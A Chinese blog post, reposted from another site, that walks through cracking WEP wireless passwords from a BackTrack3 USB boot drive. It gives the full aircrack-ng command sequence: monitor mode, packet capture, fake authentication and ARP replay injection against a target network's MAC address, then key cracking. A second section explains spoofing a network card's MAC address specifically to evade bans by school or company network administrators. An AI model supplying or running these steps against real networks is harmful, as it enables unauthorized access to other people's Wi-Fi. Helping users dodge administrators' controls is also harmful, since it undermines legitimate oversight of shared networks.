大海鸟部落格

本文来源于网络技术员 http://www.31kxs.cn/ ,
原文地址：http://www.31kxs.cn/wuxianwangluo/105/backtrack3BT3usbpojiebuzhou/

一、先开始制作启动U盘：

将下载好的backtrack3(BT3) usb版(下载地址在文章末尾)文件bt3b141207.rar直接解压到U盘（1G以上容量）。把Boot 和BT3两个文件夹放到U盘的根目录，打开BOOT文件夹双击运行" bootinst.bat "批处理文件。U盘里就会多出4个文件." isolinux.boot" "isolinux.cfg" "isolinux.bin " "syslinux.cfg" （如果想要中文截面的BT3的菜单,就在下载BT3中文语言包。下载地址：http://file.mofile.com/cn/docs/listallfiles.do 提取密码：4871454552251231。（用的是免费的网络硬盘,广告较多,有些朋友可能没认真看没找到，我说下大概位置，输入提取码后,拉到中间找下面的几个字(红色的) 以下这三个链接后两个均可下载
推荐快车（flashget）高速下载文件 下载文件(IE浏览器) 下载文件(非IE浏览器)
）把压缩包里的"中文包"解压出来，将里面的*.lzm文件拷贝到u盘的BT3\modules目录，即可实现bt3中文化。）
二、之后重启 windows 进入BIOS设置，把BIOS里的frist boot device设置为USB-HDD（或者是USB--ZIP）再重启选择从usb启动。系统进入backtrack3 系统。

三、现在开始破解
1.在shell窗口中输入 ifconfig 命令 ，出现如下信息：
lo no wireless extensions.
eth0 no wireless extensions.
eth1 IEEE 802.11g ESSID:"" Nickname:""
Mode:（......）Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry ff RTS thr ff Fragment thr ff
Encryption key ff
Power Management ff
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
2.找出你的无线网卡名字，我这里是 eth1.再启动你的网卡为Moniter模式(输入airmon-ng start eth1 11)。再输入 ifconfig 命令 ，返回如下信息：
lo no wireless extensions.
eth0 no wireless extensions.
eth1 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry ff RTS thr ff Fragment thr ff
Encryption key ff
Power Management ff
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
3. 输入命令 airodump-ng -c 11 --bssid 00:1A:01:8D:C3:B2 -w outputs eth1.
命令中的11 表示要破解的频道号，bssid后面的数字表示破解目标的MAC物理地址，outputs表示要生成的包的名称。回车运行。
4.再开一个 shell 输入 aireplay-ng -1 0 -e targetnet -a 00:1A:01:8D:C3:B2 -h 00:A1:C1 8:A5:B6 eth1
其中“targetnet”表示破解目标网络名,00:1A:01:8D:C3:B2前面已解释过是指目标MAC物理地址，00:A1:C1 8:A5:B6表示本机网卡MAC物理地址
5.再开一个 shell 输入 aireplay-ng -3 -b 00:1A:01:8D:C3:B2 -h 00:A1:C1 8:A5:B6 eth1
获取更多的数据包。
6.返回数据量到1万的时候就可以破解了。再开一个shell输入 aircrack-ng -z -b 00:1A:01:8D:C3:B2 outputs.cap 进行破解。如果破解不成功，让它继续抓包，直到破解。

BT3(backtrack3) usb版 下载地址列表
backtrack3(BT3) usb版 下载地址列表：（自己选个快的镜像下）
BT下载：
Torrent: http://www.remote-exploit.org/bt3b141207.rar.torrent

http://www.offensive-security.com/bt3b141207.rar.torrent

FTP下载：

ftp://ftp.heanet.ie/mirrors/backtrack/bt3b141207.rar
ftp://ftp.cc.uoc.gr/mirrors/linux/backtrack/bt3b141207.rar
ftp://backtrack.mirrors.skynet.be/pub/backtrack/bt3b141207.rar
HTTP下载：

http://mirror.switch.ch/ftp/mirror/backtrack/bt3b141207.rar

http://ftp.cc.uoc.gr/mirrors/linux/backtrack/bt3b141207.rar

http://ftp.heanet.ie/mirrors/backtrack/bt3b141207.rar

http://backtrack.mirrors.skynet.be/pub/backtrack/bt3b141207.rar

http://ftp.belnet.be/mirror/backtrack/bt3b141207.rar

http://backtrack.mick27.info/bt3b141207.rar

网卡 ：INTEL 3945ABG 驱动更新到10.5.1.75
软件 ：Network Stumbler，用来搜索无线的MAC、频道、及SSID
          OmniPeek 4.1用来分类截获经过你无线网卡的数据
          WinAircrack 用来破解抓到的包从中得到加密的WEP值
开始干活： Continue reading →

如果在公司或学校上网，进行BT下载，P2P观看电影，QQ上网等违反了规定等，一些公司,学校等都可能对网络进行统一管理根据网卡的物理地址绑定IP地址。网管就可以根据你所登记的网卡地址封了你的IP地址。要如何即能放心看电影下载又不怕被封，要这个问题根本就是要修改网卡MAC地址：
一、Windows注册表：别说你不知道注册表是什么（真不知道？那你就跳过这里看第二个方法）
　　1 、打开regedit 找到 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}，找到0000 、 0001 、 0002 等主键，查找 DriverDesc ，内容为你要修改的网卡的描述，如“ NVIDIA nforce Networking Controller”。
　　2 、添加一个名为 NetworkAddress 的字符串，其值设为你要改的 MAC 地址。如： 0016DEA0E0E0 （只要懂十六进制，就可以随便填了，不懂？早叫你看第二个方法了）。
　　3 、找到 Ndiparams 添加一个主键，名为 NetworkAddress ，在该主键下添加名为 default 的字符串，值为你要设的 MAC 地址，如： 000000000000 。（这只是设置高级属性中的“初始值”（在后面会提到的），实际使用到的 MAC 地址还是在第 2 点中设置的 NetworkAddress 值，以后高级属性中的值就是 NetworkAddress 给出的值而非 default 的了。）
　　4 、在主键 NetworkAddress 下添加一个字串 名为 ParamDesc ，其值可随便填，如“网络地址”（自己看得懂就OK），为指定 NetworkAddress 主键的描述，这样在网卡的高级属性中就会出现 Network Address 选项，就是你刚在注册表中加的新项 NetworkAddress ，以后就可以直接在此修改 MAC 地址。再添加名为 Optional 的字符串，其值设为“ 1 ”，则以后当你在网卡的高级属性中选择 Network Address 项时，右边会出现“不存在”选项。
二、网络连接属性卡上直接修改
  不会修改注册表没关系follow me...
　　“本地连接”右键“属性”，打开网络连接。
　　点击[配置]->[高级]->[网络地址（或者是英文的"Network Address"，如果找不到该项，可看第一个方法的第4步）]，然后在右侧的“值”中输入合法的MAC地址（MAC地址每一位从0－F，如00-50-8D-11-2F-9B，前3个字节表示制造商，后三个字节表示编号），单击“确定”保存设置，之后停用网络，再启用网络就OK了。